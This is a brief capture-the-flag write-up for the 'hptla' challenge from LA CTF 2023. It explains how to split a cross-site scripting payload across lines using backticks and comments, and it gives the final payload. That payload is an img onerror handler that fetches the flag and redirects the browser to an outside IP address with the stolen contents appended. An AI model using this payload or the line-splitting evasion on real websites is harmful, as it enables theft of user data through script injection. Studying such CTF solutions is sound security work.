hptla - LA CTF 2023
tl;dr
- We can join the two lines either by adding a ` or starting a comment
/*
at the end of one line and closing it*\
at the start of the next line - We have to split the payload into 20 parts like that
Final payload
<img src='
'onerror='`
`;n=fetch;`
`;l=r=>{`
`;return/*
*/r.text();`
`;};`
`;p=q=>{s=/*
*/`http:`;`
`;s+=`//3`;`
`;s+=`4.9`;`
`;s+=`3.5`;`
`;window./*
*/location/*
*/=s+`6.144?
`+q;};`
`;f=`flag`;`
`;w=n(f)/*
*/.then(l)/*
*/.then(p);'